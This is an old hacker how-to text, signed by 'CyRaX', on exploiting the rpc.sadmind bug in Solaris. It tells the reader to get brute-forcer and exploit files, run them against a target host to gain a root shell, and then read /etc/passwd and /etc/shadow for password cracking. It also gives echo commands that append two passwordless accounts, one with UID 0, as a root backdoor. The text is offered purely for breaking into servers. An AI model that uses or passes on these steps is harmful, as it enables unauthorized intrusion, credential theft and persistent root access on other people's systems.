sadmind-howto.txt

`rpc.sadmind (27/02/2000)  
------------------------  
  
The bug rpc.sadmind has been reported a long time ago. But there has never  
been a manual for it. So i decided to explain how to exploit the bug.  
First of all i would recommend to use the sadmind brute forcer for the   
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the   
brute forcer at http://packetstormsecurity.org . Search for sadmind   
brute forcer and the file samdind-brute-lux.c will be the first file   
you'll see...  
You compile the brute forcer in the same directory as the sploit  
files.  
Run the brute forcer like this :  
./sadmind-brute-force <arch> <host>  
If you don't know what <arch> is then you do ./sadmind-brute-lux  
You'll understand now =)  
When you have found a vulnerable host (you can scan for RPC stuff with RPC-  
scanners LOL) you do this for example  
./sadmind-brute-force 1 www.sadmindvulnhost.com  
  
If you're dropped to a rootshell now, the host is vulnerable for real.  
Otherwise, the host is patched.  
  
Now you're dropped to the rootshell you have 2 easy ways to exploit the  
rpc.sadmind bug.  
The first way, this is kinda lame, is that you view the /etc/passwd   
(or the /etc/shadow ofcourse) and then crack the password file with  
a password-cracker like John The Ripper --> this can take years !  
You view the /etc/passwd like this  
cat /etc/passwd;  
The ; must be added ! If ya type cat /etc/passwd the server will recognize   
this command as  
cat /etc/passwd^m  
  
The second way to exploit the bug is a lot faster then the first one.  
Here we simply add two users, one with root privileges ofcourse...  
This example is for a host with /etc/shadow !  
Type this at the rootshell :  
  
echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;  
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;  
echo cyrax:::::: >> /etc/shadow;  
echo cyrax2:::::: >> /etc/shadow;  
  
Dont use > instead of >>, >> adds a line, > overwrites !  
Replace UID and GID by 666 for example but NOT by 0  
After you typed this, there will be added two users to the server :  
cyrax and cyrax2  
You login with the non-root user, cyrax, and then do su cyrax2  
and set the password for the users ...  
Now you have root access to the server...  
  
Written by : CyRaX ([email protected])  
http://members.antionline.com/cyrax  
Special thanks to : nostalg1c   
greet[z] : kemX, Cheitan, guppy, |llus|0{\}  
`